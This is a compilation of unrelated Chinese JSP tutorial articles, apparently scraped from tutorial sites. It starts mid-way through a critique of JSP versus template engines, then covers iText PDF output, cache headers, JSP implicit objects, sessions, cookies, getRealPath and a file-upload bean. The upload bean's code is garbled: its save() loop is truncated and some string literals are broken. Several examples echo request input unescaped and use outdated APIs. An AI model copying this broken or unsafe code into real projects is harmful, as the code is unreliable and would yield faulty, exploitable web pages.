
＜% static String title = "Global title"; %＞

但Tomcat会提供以下出错信息：
work/%3A8080%2F/JC_0002ejspJC_jsp_1.java:70: Statement expected.
static int count = 0;
^

此信息认为以上脚本被放入 _jspService()方法而静态变量不允许放入方法中。该语法应该是 ＜%! %＞。页面设计者很难读懂这些出错信息。即使最好的平台在这方面也做得很不够。即使所有 Java代码都从页中移出也无法解决问题。另外，以下表达式有什么错？

＜% count %＞
tomcat给出：
work/8080/_0002ftest_0002ejsptest_jsp_0.java:56: Class count not found in
type declaration.
count
^
work/8080/_0002ftest_0002ejsptest_jsp_0.java:59: Invalid declaration.
out.write("\r\n");
^

换句话说，只是遗失了一个标记而已。应该是 ＜%= count %＞。

由于template engine可以在template文件中直接产生而没有任何戏剧性的向代码转化，所以可以非常容易地给出适当的出错报告。 依次类推，当c语言的命令被打入Unix shell的命令行， 你并不希望shell 会生成一个C程序来运行这个命令，而只是需要shell简单地解释命令并加以执行，如有错误也直接给出。
问题 #6: 需要一个编译器

JSP需要一个置放在webserver中的编译器。由于Sun拒绝放弃包含了他们的javac编译器的tools.jar库， 这其中就变得有问题了。Web服务器可以包含进一个第三方的编译器如ibm的 jikes。但这样的编译器并不能在所有平台上顺利工作(用 C++写成的) 也不利于建立纯Java 的web服务器。 JSP有一个预编译选项可以起到一定作用，尽管并不完美。

问题 #7: 空间的浪费

JSP消耗了额外的内存和硬盘空间。对服务器上每30K的JSP文件，必须要有相应的大于30K的类文件产生。实际上使得硬盘空间加倍。考虑到JSP文件随时可以很容易地通过 ＜%@ include＞包含一个大的数据文件，这样的关注有着很现实的意义。同时，每一个JSP的类文件数据必须加载到服务器的内存中，这意味着服务器的内存必须永远地将整个JSP文档树保存下去。少数一些JVM有能力将类文件数据从内存中移去；但是，程序员通常无法控制这样的规则来重新申明，而且对大的站点来说重新申明可能不是很有效。对template engines由于没有产生第二个文件，所以节省了空间。Template engines还为程序员提供对templates在内存中进行缓存的完全控制。

使用template engine也有一些问题：

Template的问题 #1: 没有严格定义

template engine该如何工作并没有严格定义。可是，但相对jsp来说，其实这并不很重要，和 JSP不同的是，template engines对web服务器没有任何特殊要求 -- 任何支持servlet的服务器都可以支持template engines (包括API 2.0服务器如Apache/JServ，它们并不能完全支持 JSP)! 如果为最好的template engine设计提供健康的竞争本可以引起一场耀眼的革新，特别是有开放源码的促进，（可以让思想相互推动和促进），那么今天的WebMacro就会象Perl一样，没有严格定义但公开源码组织的推动就是它的标准。

Template的问题 #2: 没有获得公认

Template engines并未被广泛知晓。JSP已经占据了极大的商业市场，并且深入人心。而使用g template engines只能是一种未被了解的替代技术。

Template的问题 #3: 尚未调配好

Template engines还没有被高度地调配好。没有对template engine 和JSP两者进行性能测试和比较。理论上说一个调配完好的template engine实现应该和一个调配好的JSP相匹配；但是，考虑到第三方为jsp已经作出了这么深远的推动，结果只有jsp被很好地调配好了。

JSP的角色

当然地，JSP在将来必然会有其地位。即使从名称上也可以看出JSP和ASP的相似性，它们只有一个字母的差别。所以如果要让使用asp的人们转向java,非常相似的jsp环境将对此起到很大的推动作用，和asp保持这种对应关系所能起到的作用应该也是被推出jsp的设计者重点考虑到的。
然而这里想要强调的一点是：有利于转入新环境的工作者，以及实际上是否是使用该环境的最佳方式，这两者是有很大不同的。

JSP日益显示出它正成为最重要的java技术之一， 它让人们离开ASP的世界 -- 由此，Sun将支持这一强有力的商业case, Java相关技术支持者也将给予更大力的支持。

可是，这并非java平台的最佳解决方案。这将使java解决方案变得好象是没有java的解决方案了。


利用iText在JSP中生成PDF报表 - 晨风资讯网 - asp教程,php教程,jsp教程,asp.net教程,sql教程,FLASH教程

利用iText在JSP中生成PDF报表

1、概述
    企业的一些信息通过网络形成Html报表，虽然IE可以直接打印显示在其中的内容，但是从界面上来看，如果直接将Html的显示结果打印出来，显得不太美观。如果将它转成PDF文件再打印，则打印效果会好很多。

2、iText简介

    iText是一个开放源码的Java类库，可以用来方便地生成PDF文件。大家通过访问http://sourceforge.net/project/showfiles. php?group_id=15255&release_id=167948下载最新版本的类库，下载完成之后会得到一个.jar包，把这个包加入JDK的classpath即可使用。

    如果生成的PDF文件中需要出现中文、日文、韩文字符，则还需要通过访问http://itext.sourceforge.net/downloads/iTextAsian.jar下载iTextAsian.jar包。

    关于iText类库的使用，http://www.lowagie.com/iText/tutorial/index.html有比较详细的教程。该教程从入门开始，比较系统地介绍了在PDF文件中放入文字、图片、表格等的方法和技巧。

    读完这篇教程，大致就可以做一些从简单到复杂的PDF文件了。不过，试图通过教程解决在生成PDF文件过程中遇到的所有困难无疑是一种奢望。所以，阅读iText的api文档显得非常重要。读者在下载类库的同时，也可以下载类库的文档。

3、如何利用iText在java程序中生成PDF报表

    以下是上述教程中一个最简单的例子，这个例子刻画了通过iText生成PDF文件的一般程序框架。读者只需要在document.open();和document.close();两条语句中间加入自己希望放在PDF文件中的内容即可。该例子只在PDF文件中加了“Hello World“一行文字。

Document document = new Document();
try
{
PdfWriter.getInstance
(document, new FileOutputStream
("Chap0101.pdf"));
document.open();
document.add(new Paragraph("Hello World"));
}
catch(DocumentException de)
{
System.err.println(de.getMessage());
}
catch(IOException ioe)
{
System.err.println(ioe.getMessage());
}
document.close();

    由以上的例子可见，程序的框架十分清楚明了。然而在PDF中指定文字、图画、表格的位置是一件非常麻烦的事情。除了不断地在程序中修改位置、然后运行程序、生成PDF文件、观察元素在PDF中的位置是否合理这样的过程以外，似乎还没有其它更好的方法。

4、如何通过JSP生成PDF报表

    这一部分是在iText的教程中所没有的，网上的相关资料也比较少。我经过一段时间研究发现：先在服务器上生成PDF文件，然后用户通过点击指向PDF文件的超链接选择下载或打开。这是一个思路，或者说是思路之一。本文实现了这个思路，又给出另外一个思路并通过两种途径实现之。


response.addHeader("Cache-Control", "no-cache");
response.addHeader("Expires", "Thu,  01 Jan   1970 00:00:01 GMT");


1, 使用java提供的方法，在ｊｓｐ或者servlet中都可以
<%
response.setHeader("Pragma","No-cache");
response.setHeader("Cache-Control","no-cache");
response.setDateHeader("Expires", 0);
%>
2, 使用HTML标记，如下面：
<HEAD>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="0">
</HEAD>


如何利用JSP的9种基本内置组件

基本组件

JSP共有以下9种基本内置组件（可与ASP的6种内部组件相对应）：
request 用户端请求，此请求会包含来自GET/POST请求的参数
response 网页传回用户端的回应
pageContext 网页的属性是在这里管理
session
;与请求有关的会话期
application servlet正在执行的内容
out 用来传送回应的输出
config servlet的构架部件
page JSP网页本身
exception 针对错误网页，未捕捉的例外

你可以使用它们来存取执行JSP代码的servlet。 为了避免谈论到太多Servlet API 的细节，让我们来检视一些你可以利用它们来做的事:

不必使用运算式，你可以直接存取内部out物件来列印一些东西到response:

<% out.println("Hello"); %>不必直接传送参数到JavaBean，你可以按照请求部件来取得参数的值:
<% String name=request.getParameter("name");

out.println(name); %>。

等等。

以下着重介绍session对象。

   会话状态维持是 Web 应用开发者必须面对的问题。有多种方法可以用来解决这个问题，如使用 Cookies 、隐藏的表单输入域，或直接将状态信息附加到 URL 中。Java Servlet 提供了一个在多个请求之间持续有效的会话对象，该对象允许用户存储和提取会话状态信息。JSP也同样支持Servlet中的这个概念。
   在 Sun 的 JSP 指南 中可以看到许多有关隐含对象的说明（隐含的含义是，这些对象可以直接引用，不需要显式地声明，也不需要专门的代码创建其实例）。例如 request 对象，它是 HttpServletRequest 的一个子类。该对象包含了所有有关当前浏览器请求的信息，包括 Cookies ， HTML 表单变量等等。 session 对象也是这样一个隐含对象。这个对象在第一个 JSP 页面被装载时自动创建，并被关联到 request 对象上。与 ASP 中的会话对象相似， JSP 中的 session 对象对于那些希望通过多个页面完成一个事务的应用是非常有用的。
     为说明 session 对象的具体应用，接下来我们用三个页面模拟一个多页面的 Web 应用。第一个页面（ q1.html ）仅包含一个要求输入用户名字的 HTML 表单，代码如下：
   < HTML>
   < BODY>
   < FORM METHOD=POST ACTION="q2.jsp">
  请输入您的姓名：
   < INPUT TYPE=TEXT NAME="thename">
   < INPUT TYPE=SUBMIT VALUE="SUBMIT">
   < /FORM>
   < /BODY>
   < /HTML>
     第二个页面是一个 JSP 页面（ q2.jsp ），它通过 request 对象提取 q1.html 表单中的 thename 值，将它存储为 name 变量，然后将这个 name 值保存到 session 对象中。 session 对象是一个名字 / 值对的集合，在这里，名字 / 值对中的名字为“ thename ”，值即为 name 变量的值。由于 session 对象在会话期间是一直有效的，因此这里保存的变量对后继的页面也有效。 q2.jsp 的另外一个任务是询问第二个问题。下面是它的代码：
   < HTML>
   < BODY>
   < %@ page language="java" %>
   < %! String name=""; %>
   < %
   name = request.getParameter("thename");
   session.putValue("thename", name);
   %>
  您的姓名是： < %= name %>
   < p>
   < FORM METHOD=POST ACTION="q3.jsp">
  您喜欢吃什么 ?
   < INPUT TYPE=TEXT NAME="food">
   < P>
   < INPUT TYPE=SUBMIT VALUE="SUBMIT">
   < /FORM>
   < /BODY>
   < /HTML>
     第三个页面也是一个 JSP 页面（ q3.jsp ），主要任务是显示问答结果。它从 session 对象提取 thename 的值并显示它，以此证明虽然该值在第一个页面输入，但通过 session 对象得以保留。 q3.jsp 的另外一个任务是提取在第二个页面中的用户输入并显示它：
   < HTML>
   < BODY>
   < %@ page language="java" %>
   < %! String food=""; %>
   < %
   food = request.getParameter("food");
   String name = (String) session.getValue("thename");
   %>
  您的姓名是： < %= name %>
   < P>
  您喜欢吃： < %= food %>
   < /BODY>
   < /HTML>


如何用JSP编写文件上传

如过你用VB编写文件上传的组件的话，那么用JAVA编写文件上传的JAVABEAN十分容易。下面的例子只是一个简版
package yuanyifileup;
import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.PageContext;

public class yuanyifileup
{
private ServletRequest request;
private ServletResponse response;
private ServletConfig config;
ServletInputStream DATA;
int FormSize;
File f1;
FileOutputStream os;
DataInputStream is;
String filename;
byte[] b;
byte t;
boolean flag=false;
public yuanyifileup()
{ }
public void initialize(ServletConfig config,HttpServletRequest request,HttpServletResponse response) throws IOException
{
this.request=request;
this.response=response;
this.config=config;
DATA = request.getInputStream();
FormSize=request.getContentLength();
}
public void initialize(PageContext pageContext) throws IOException
{
request=pageContext.getRequest();
response=pageContext.getResponse();
config=pageContext.getServletConfig();
DATA = request.getInputStream();
FormSize=request.getContentLength();
}
public boolean setFilename(String s)
{
try
{
File f1=new File(s);
os=new FileOutputStream(f1);
}
catch(IOException e)
{return(false);}
return(true);
}
public void getByte()
{
int i=0;
try
{
is=new DataInputStream(DATA);
b=new byte[FormSize];

while (true)
{
try
{
t=is.readByte();
b[i]=t;
i++;
}
catch(EOFException e)
{ break;}
}
is.close();}
catch(IOException e)
{}
}

public boolean save()
{
int i=0,start1=0,start2=0;
String temp="";
if (!flag)
{
getByte();
flag=true;
}
try
{
temp=new String(b,"ISO8859_1");
}
catch(UnsupportedEncodingException e)
{return(false);}

start1=temp.indexOf("image/");
temp=temp.substring(start1);

start1=temp.indexOf("

");

temp=temp.substring(start1+4);
start2=temp.indexOf(";
");
if (start2!=-1)
{
temp=temp.substring(0,start2);
}
try
{
byte[] img=temp.getBytes("ISO8859_1");
for (i=0;i
{ os.write(img[i]); }
os.close();
}
catch(IOException e)
{return(false);}

return(true);

)


如何在JSP中处理虚拟路径

在为服务器端组件编程时，你很可能要从相对于web根的路径来取得某个文件的真实路径，但此文件实际上在站点的一个虚拟路径上。

什么是虚拟路径？
在一个web服务器上，虚拟路径将物理上分离的各文件组合在一起，放在同一个站点路径上，在应用服务器上，每个应用定位于其自己的虚拟路径上，实际上相互之间有着完美地分离。

getRealPath()方法
JSP servlet API提供了getRealPath(path)方法，返回给定虚拟路径的真实路径，如果转换错误，则返回null。

getRealPath语法定义：
   public java.lang.String getRealPath(java.lang.String path)
   返回一个字符串，包含一个给定虚拟路径的真实路径。例如，虚拟路径 "/index.html"
不管在服务器文件系统上具有怎样的真实路径，使用"/index.html"总可以找到它。返回的真实路径使用了相近于servlet容器(srvlet container)所在计算机或操作系统的格式，包含了适当的路径分隔符。如果servlet容器无法转换则这个方法将返回null。
   参数：
      path -一个描述了虚拟路径的字符串
   返回值：
      描述真实路径的字符串或者null

遗憾的是，getRealPath常常返回不同的东西，这取决于服务器或jsp文件调用此方法的路径位置。

一个example站点

假设我们的站点组织如下：

根路径包含了我们的站点的根： http://address/
a_virtual目录包含了我们站点提供的虚拟路径的文件，例如：
http://addess/virtual_dir/

我们查找file1.txt和file2.txt的真实路径，它们一个在站点根路径下，一个在虚拟路径下。

getRealPath("/file1.txt") 应该返回“C:\site\site_root\file1.txt"，
getRealPath("/virtual_dir/file2.txt")应该返回"C:\site\a_virtual\file2.txt"
getRealPath("/file3.txt")应该返回null，因为这个文件不存在。

但getRealPath()并不总是返回同样的结果，这还取决与你使用的js引擎。

JSP引擎

Tomcat 3.1
Tomcat返回的结果具有应用的独立性（application dependant）：

它取决与调用getRealPath方法的那个jsp文件所在的位置。
实际上，当page1.jsp (位于站点根处)对file1.txt和file2.txt调用txtgetRealPath(), 它返回正确的结果。(这是在tomcat 3.1, 3.0版则对file2.txt返回错误的路径)

但是当page2.jsp(位于另一个应用,在一个虚拟路径中)调用getRealPath，它返回了错误的路径：它连接了该jsp文件所在的路径和请求的虚拟路径。
例如，从page2.jsp中调用getRealPath(/file1.txt)将返回 C:\site\a_virtual\file1.txt。

这一行为其实是使不同的应用相互独立的典型的处理方法。

JRun 2.3.3和INPRISE APPLICATION SERVER 4.0 (IAS)
JRun和IAS对file1.txt和file2.txt都返回正确的结果。

然而所有这些引擎有一个共同的行为： 当getRealPath处理不存在的文件时，它们都不返回null！

解决之道

既然getRealPath总是返回一个路径，我们怎么知道它是否正确呢？最简单的方法是检查这个返回的路径是否存在。
这就是isVirtual方法要做的：在对一个给定的文件调用getRealPath以后，它使用了java.io来
存取这个文件，于是就可以知道它是否存在。

/**
* isVirtual
*
* Check if the path name is a virtual or not.
*
* @param pathName The name of the path to check.
*/
private boolean isVirtual(String pathName) {

   // Check if it is a virtual path
   if (m_application.getRealPath(pathName)!=null) {
      java.io.File virtualFile = new java.io.File(m_application.getRealPath(pathName));
      if (virtualFile.exists()) {return true;}
      else {return false;}
   }
   else {return false;}
}


实例详解JSP内置对象-伊图教程网

实例详解JSP内置对象

整理日期：2005-10-24

转自：伊图教程网[www.etoow.com]

jsp九种内置对象：request, reponse, out, session, application, config, pagecontext, page, exception.

    一.request对象：该对象封装了用户提交的信息，通过调用该对象相应的方法可以获取封装的信息，即使用该对象可以获取用户提交信息。

    1.Request对象可以使用getParameter(string s)方法获取该表单通过text提交的信息。如：

Request.getParameter(“boy”)

    例：request1.jsp：

<%@ page contentType="text/html;charset=GB2312" %>

<HTML>

<BODY bgcolor=green><FONT size=1>

   <FORM action="tree.jsp" method=post name=form>

       <INPUT type="text" name="boy">

       <INPUT TYPE="submit" value="Enter" name="submit">

   </FORM>

</FONT>

</BODY>

</HTML>

    tree.jsp：

<%@ page contentType="text/html;charset=GB2312" %>

<HTML>

<BODY bgcolor=green><FONT size=1>

<P>获取文本框提交的信息：

   <%String textContent=request.getParameter("boy");

   %>

<BR>

   <%=textContent%>

<P> 获取按钮的名字：

   <%String buttonName=request.getParameter("submit");

   %>

<BR>

   <%=buttonName%>

</FONT>

</BODY>

</HTML>

    使用request对象获取信息要格外小心，要避免使用空对象，否则会出现NullPointerException异常，所以我们可以作以下处理.

    request3.jsp

<%@ page contentType="text/html;charset=GB2312" %>

<HTML>

<BODY bgcolor=cyan><FONT size=5>

   <FORM　action="" method=post name=form>

         <INPUT type="text" name="girl">

         <INPUT TYPE="submit" value="Enter" name="submit">

   </FORM>

   <%String textContent=request.getParameter("girl");

     double number=0,r=0;

     if(textContent==null)

        {textContent="";

        }

     try{ number=Double.parseDouble(textContent);

          if(number>=0)

             {r=Math.sqrt(number) ;

              out.print("<BR>"+String.valueOf(number)+"的平方根：");

              out.print("<BR>"+String.valueOf(r));

             }

          else

             {out.print("<BR>"+"请输入一个正数");

             }

        }

     catch(NumberFormatException e)

        {out.print("<BR>"+"请输入数字字符");

        }

    %>

</FONT>

</BODY>

</HTML>

    2.处理汉字信息：当request对象获取客户提交的汉字字符时，会出现乱马问题，必须进行特殊处理。首先，将获取的字符串用ISO-8859-1进行编码，并将编码存放到一个字节数组中，然后再将这个属组转化为字符窜对象即刻。

如:　 String textContent=request.getParameter("boy");

     byte　b[]=textContent.getBytes("ISO-8859-1");

textContent=new String(b);

    例：tree2.jsp

<%@ page contentType="text/html;charset=GB2312" %>

<MHML>

<BODY>

<P>获取文本框提交的信息：

   <%String textContent=request.getParameter("boy");

     byte　b[]=textContent.getBytes("ISO-8859-1");

     textContent=new String(b);

   %>

<BR>

   <%=textContent%>

<P> 获取按钮的名字：

   <%String buttonName=request.getParameter("submit");

     byte　c[]=buttonName.getBytes("ISO-8859-1");

     buttonName=new String(c);

   %>

<BR>

   <%=buttonName%>

</BODY>

</HTML>

    3.常用方法举例：

getProtocol(),　getServletPath(), getContentLength(), getMethod(), getRemoteAddr(), getRemoteHost(), getServerName(), getParameterName()

例：

<%@ page contentType="text/html;charset=GB2312" %>

<%@ page import="java.util.*" %>

<MHML>

<BODY bgcolor=cyan>

<Font size=5>

<BR>客户使用的协议是:

   <% String protocol=request.getProtocol();

      out.println(protocol);

   %>

<BR>获取接受客户提交信息的页面：

   <% String path=request.getServletPath();

      out.println(path);

   %>

<BR>接受客户提交信息的长度：

   <% int length=request.getContentLength();

      out.println(length);

   %>

<BR>客户提交信息的方式：

   <% String method=request.getMethod();

      out.println(method);

   %>

<BR>获取HTTP头文件中User-Agent的值：：

   <% String header1=request.getHeader("User-Agent");

      out.println(header1);

   %>

<BR>获取HTTP头文件中accept的值：

   <% String header2=request.getHeader("accept");

      out.println(header2);

   %>

<BR>获取HTTP头文件中Host的值：

   <% String header3=request.getHeader("Host");

      out.println(header3);

   %>

<BR>获取HTTP头文件中accept-encoding的值：

   <% String header4=request.getHeader("accept-encoding");

      out.println(header4);

   %>

<BR>获取客户的IP地址：

   <% String　IP=request.getRemoteAddr();

      out.println(IP);

   %>

<BR>获取客户机的名称：

   <% String clientName=request.getRemoteHost();

      out.println(clientName);

   %>

<BR>获取服务器的名称：

   <% String serverName=request.getServerName();

      out.println(serverName);

   %>

<BR>获取服务器的端口号：

   <% int serverPort=request.getServerPort();

      out.println(serverPort);

   %>

<BR>获取客户端提交的所有参数的名字：

   <% Enumeration enum=request.getParameterNames();

       while(enum.hasMoreElements())

            {String s=(String)enum.nextElement();

             out.println(s);

            }

      %>

<BR>获取头名字的一个枚举：

   <% Enumeration enum_headed=request.getHeaderNames();

      while(enum_headed.hasMoreElements())

            {String s=(String)enum_headed.nextElement();

             out.println(s);

            }

   %>

<BR>获取头文件中指定头名字的全部值的一个枚举：

   <% Enumeration enum_headedValues=request.getHeaders("cookie");

      while(enum_headedValues.hasMoreElements())

            {String s=(String)enum_headedValues.nextElement();

             out.println(s);

            }

   %>

<BR>

</Font>

</BODY>

</HTML>

    4．获取HTML表单提交的数据

    单选框radio

    例：

    radio.jsp：

<HTML>

<%@ page contentType="text/html;charset=GB2312" %>

<BODY bgcolor=cyan><Font size=1 >

<P>诗人李白是中国历史上哪个朝代的人：

   <FORM action="answer.jsp" method=post name=form>

       <INPUT type="radio" name="R" value="a">宋朝

       <INPUT type="radio" name="R" value="b">唐朝

       <INPUT type="radio" name="R" value="c">明朝

       <INPUT type="radio" name="R" value="d" checked="ok">元朝

        <BR>

<P>小说红楼梦的作者是：

        <BR>

       <INPUT type="radio" name="P" value="a">曹雪芹

       <INPUT type="radio" name="P" value="b">罗贯中

       <INPUT type="radio" name="P" value="c">李白

       <INPUT type="radio" name="P" value="d">司马迁

       <BR>

       <INPUT TYPE="submit" value="提交答案" name="submit">

   </FORM>

</FONT>

</BODY>

</HTML>

answer.jsp：

<HTML>

<%@ page contentType="text/html;charset=GB2312" %>

<BODY bgcolor=cyan><Font size=1 >

<% int n=0;

    String s1=request.getParameter("R");

    String s2=request.getParameter("P");

     if(s1==null)

       {s1="";}

     if(s2==null)

       {s2="";}

      if(s1.equals("b"))

       { n++;}

      if(s2.equals("a"))

       { n++;}

%>

<P>您得了<%=n%>分

</FONT>

</BODY>

</HTML>

    列表框<select><Option>

    例：

    select.jsp：

<HTML>

<%@ page contentType="text/html;charset=GB2312" %>

<BODY bgcolor=cyan><Font size=1 >

<P>选择计算和的方式

   <FORM action="sum.jsp" method=post name=form>

       <Select name="sum" size=2>

          <Option Selected value="1">计算1到n的连续和

          <Option value="2">计算1到n的平方和

          <Option value="3">计算1到n的立方和

       </Select>

<P>选择n的值：<BR>

       <Select name="n" >

          <Option value="10">n=10

          <Option value="20">n=20

          <Option value="30">n=30

          <Option value="40">n=40

          <Option value="50">n=50

          <Option value="100">n=100

       </Select>

        <BR><BR>

     <INPUT TYPE="submit" value="提交你的选择" name="submit">

   </FORM>

</FONT>

</BODY>

</HTML>

    sum.jsp：

<HTML>

<%@ page contentType="text/html;charset=GB2312" %>

<BODY bgcolor=cyan><Font size=1 >

<% long sum=0;

    String s1=request.getParameter("sum");

    String s2=request.getParameter("n");

     if(s1==null)

       {s1="";}

     if(s2==null)

       {s2="0";}

    if(s1.equals("1"))

       {int n=Integer.parseInt(s2);

         for(int i=1;i<=n;i++)

            {sum=sum+i;

            }

       }

      else if(s1.equals("2"))

       {int n=Integer.parseInt(s2);

         for(int i=1;i<=n;i++)

            {sum=sum+i*i;

            }

       }

      else if(s1.equals("3"))

       {int n=Integer.parseInt(s2);

         for(int i=1;i<=n;i++)

            {sum=sum+i*i*i;

            }

       }

%>

<P>您的求和结果是<%=sum%>

</FONT>

</BODY>

</HTML>

    二.Response对象：对客户的请求做出动态的响应，向客户端发送数据。

    1.动态响应contenType属性

    当一个用户访问一个jsp页面时，如果该页面用page指令设置页面的contentType属性是text/html，那么jsp引擎将按照这种属性值作出反映。如果要动态改变这个属性值来响应客户，就需要使用response对象的setContentType(String s)方法来改变contentType的属性值。

    格式：response.setContentType(String s)

    参数s可取text/html,, application/x-msexcel, application/msword等。

    例如：response1.jsp

<%@ page contentType="text/html;charset=GB2312" %>

<HTML>

<BODY bgcolor=cyan><Font size=1 >

<P>我正在学习response对象的

<BR>setContentType方法

<P>将当前页面保存为word文档吗？

  <FORM action="" method="get" name=form>

     <INPUT TYPE="submit" value="yes" name="submit">

   </FORM>

<% String str=request.getParameter("submit");

      if(str==null)

         {str="";

         }

      if(str.equals("yes"))

         {response.setContentType("application/msword;charset=GB2312");

         }

%>

</FONT>

</BODY>

</HTML>

    2．Response重定向：在某些情况下，当响应客户时，需要将客户重新引导至另一个页面，可以使用response的sendRedirect(URL)方法实现客户的重定向。

例如：response2.jsp：

<html>

<head><title>Where to go</title></head>

<body>

<%

String address = request.getParameter("where");

if(address!=null){

if(address.equals("ChinaWebber"))

   response.sendRedirect("http://www.ChinaWebber.com");

  else if(address.equals("Yahoo"))

     response.sendRedirect("http://www.yahoo.com");

   else if(address.equals("Sun"))

     response.sendRedirect("http://www.sun.com");

}

%>

<b>Please select:</b><br>

<form action="goto.jsp" method="GET">

<select name="where">

   <option value="ChinaWebber" selected>go to ChinaWebber

   <option value="Sun" > go to Sun

   <option value="Microsoft" > go to Microsoft

</select>

<input type="submit" value="go">

</form>

    三．Session对象

    1.什么是Session：Session对象是一个jsp内置对象，它在第一个jsp页面被装载时自动创建，完成会话期管理。

    从一个客户打开浏览器并连接到服务器开始，到客户关闭浏览器离开这个服务器结束，被称为一个会话。当一个客户访问一个服务器时，可能会在这个服务器的几个页面之间反复连接，反复刷新一个页面，服务器应当通过某种办法知道这是同一个客户，这就需要session对象。

    2．session对象的Id：当一个客户首次访问服务器上的一个jsp页面时， jsp引擎产生一个session对象，同时分配一个String类型的Id号，jsp引擎同时将这个Id号发送到客户端，存放在Cookie中，这样 session对象和客户之间就建立了一一对应的关系。当客户再访问连接该服务器的其他页面时，不再分配给客户新的session对象，直到客户关闭浏览器后，服务器端该客户的session对象才取消，并且和客户的会话对应关系消失。当客户重新打开浏览器再连接到该服务器时，服务器为该客户再创建一个新的session对象。

    3．session对象常用方法：

    i.public String getId():获取session对象编号。

    ii.public void setAttribute(String key,Object obj):将参数Object指定的对象obj添加到session对象中，并为添加的对象指定一个索引关键字。

    iii.public Object getAttribute(String key):获取session对象中含有关键字的对象。

    iv.public Boolean isNew():判断是否是一个新的客户。

    例如：session1.jsp

<%@ page contentType="text/html;charset=GB2312" %>

<HTML>

<BODY bgcolor=cyan><FONT Size=5>

<BODY>

    <%String s=session.getId();

    %>

<P>您的session对象的ID是：

<BR>

<%=s%>

<BODY>

<HTML>

例如：session2.jsp

<%@ page contentType="text/html;charset=GB2312" %>

<HTML>

<BODY>

    <%! int number=0;

     synchronized void countPeople()

        {

                  number++;

         }

   %>

   <%

     if(session.isNew())

       {

         countPeople();

         String str=String.valueOf(number);

         session.setAttribute("count",str);

       }

    %>

<P>您是第<%=(String)session.getAttribute("count")%>个访问本站的人。

<BODY>

<HTML>

    四．aplication对象

    1．什么是application:

    服务器启动后就产生了这个application对象，当客户再所访问的网站的各个页面之间浏览时，这个application对象都是同一个，直到服务器关闭。但是与session不同的是，所有客户的application对象都是同一个，即所有客户共享这个内置的application 对象。

    2．Application对象常用方法:

    (1)public void setAttribute(String key,Object obj): 将参数Object指定的对象obj添加到application对象中，并为添加的对象指定一个索引关键字。

    (2)public Object getAttribute(String key): 获取application对象中含有关键字的对象。

    例：application.jsp

<HTML>

<HEAD>

<TITLE>application变量的使用</TITLE>

</HEAD>

<BODY>

<CENTER>

<FONT SIZE = 5 COLOR = blue>application变量的使用</FONT>

</CENTER>

<HR>

<P></P>

<%

Object obj = null;

String strNum = (String)application.getAttribute("Num");

int Num = 0;

//检查是否Num变量是否可取得

if(strNum != null)

Num = Integer.parseInt(strNum) + 1; //将取得的值增加1

application.setAttribute("Num", String.valueOf(Num)); //起始Num变量值

%>

application对象中的<Font color = blue>Num</Font>变量值为

<Font color = red><%= Num %></Font><BR>

</BODY>

</HTML>

    五．Out对象

    Out对象是一个输出流，用来向客户端输出数据。Out对象用于各种数据的输出。

    常用方法：

    （1）out.print():输出各种类型数据。

    （2）out.newLine():输出一个换行符。

    （3）out.close():关闭流。

    例：out.jsp

<%@ page contentType="text/html;charset=GB2312" %>

<%@ page　import="java.util.Date"%>

<HTML>

<HEAD>

<%

Date Now = new Date();

String hours=String.valueOf(Now.getHours());

String mins=String.valueOf(Now.getMinutes());

String secs=String.valueOf(Now.getSeconds());

%>

现在是

<%out.print(String.valueOf(Now.getHours()));%>

小时

<%out.print(String.valueOf(Now.getMinutes()));%>

分

<%out.print(String.valueOf(Now.getSeconds()));%>

秒

</FONT>

</BODY>

</HTML>

    六．Cookie

    1.什么是Cookie：

    Cookie是Web服务器保存在用户硬盘上的一段文本。Cookie允许一个Web站点在用户的电脑上保存信息并且随后再取回它。

    举例来说，一个Web站点可能会为每一个访问者产生一个唯一的ID，然后以Cookie文件的形式保存在每个用户的机器上。

    如果您使用IE浏览器访问Web，您会看到所有保存在您的硬盘上的Cookie。它们最常存放的地方是：c:\windows\cookies(在Win　2000中则是C:\Documents　and　Settings\您的用户名\Cookies )

    cookie是以“关键字key=值value“的格式来保存纪录的.

    2．创建一个Cookie对象，调用Cookie对象的构造函数可以创建Cookie。Cookie对象的构造函数有两个字符串参数：Cookie名字和Cookie值。

    Cookie c=new Cookie(“username”,”john”);

    3． jsp中如果要将封装好的Cookie对象传送到客户端，使用response的addCookie()方法。

    格式：response.addCookie(c)

    4．读取保存到客户端的Cookie,使用request对象的getCookies()方法，执行时将所有客户端传来的Cookie对象以数组的形式排列，如果要取出符合需要的Cookie对象，就需要循环比较数组内每个对象的关键字。

    例：

Cookie[] c=request.getCookies();

if(c!=null)

for(int I=0;I<c.length;I++)

if(“username”.equals(c[I].getName()))

out.println(c[I].getValue());

    5．设置Cookie对象有效时间：setMaxAge()。

c.setMaxAge(3600);

    6．Cookie应用

    1.网站能够精确地知道有多少人浏览过。

    由于代理服务器、缓存等的使用，唯一能帮助网站精确统计来访人数的方法就是为每个访问者建立一个唯一的ID。使用Cookie，网站可以完成以下工作：

    ●测定多少人访问过；

    ●测定访问者有多少是新用户（即第一次来访），多少是老用户；

    ●测定一个用户多久访问一次网站。

    网站使用数据库达到上述目标。当一个用户第一次访问时，网站在数据库中建立一个新的ID，并把ID通过Cookie传送给用户。用户再次来访时，网站把该用户ID对应的计数器加1，得到用户的来访次数。

例：Cookie.jsp

<%@ page contentType="text/html; charset=GB2312"

     import="java.util.Date" %>

<HTML>

<HEAD>

<TITLE>Cookie的存取</TITLE>

</HEAD>

<BODY>

<CENTER>

<FONT SIZE = 5 COLOR = blue>Cookie的存取</FONT>

</CENTER>

<HR>

<P></P>

<%

//建立Cookie变数

Cookie IntVal = new Cookie("IntVal", "100");

Cookie temp = null;

response.addCookie(IntVal); //将Cookie变数加入Cookie中

Cookie[] cookies = request.getCookies();

//取得Cookie资料

int cookielen = cookies.length;

//取得Cookie变数阵列的长度

if(cookielen != 0) //判断是否成功取得Cookie资料

{

    for (int i = 0; i < cookielen; i++)

    {

        temp = cookies[i]; //取得cookies阵列中的Cookie变数

        if (temp.getName().equals("IntVal"))

        { //判断是否取得名为DateVal的Cookie资料

            %>

            Cookie中<Font color = blue>IntVal</Font>变量的值为

            <Font color = red><%= IntVal.getValue()%></Font><BR>

            <%

                            }

    }

}

else

{

    %>

    不存在Cookie<BR>

    <%

}

%>

</BODY>

</HTML>

例：CookieDate.jsp

<%@ page contentType="text/html; charset=GB2312"

     import="java.util.Date"%>

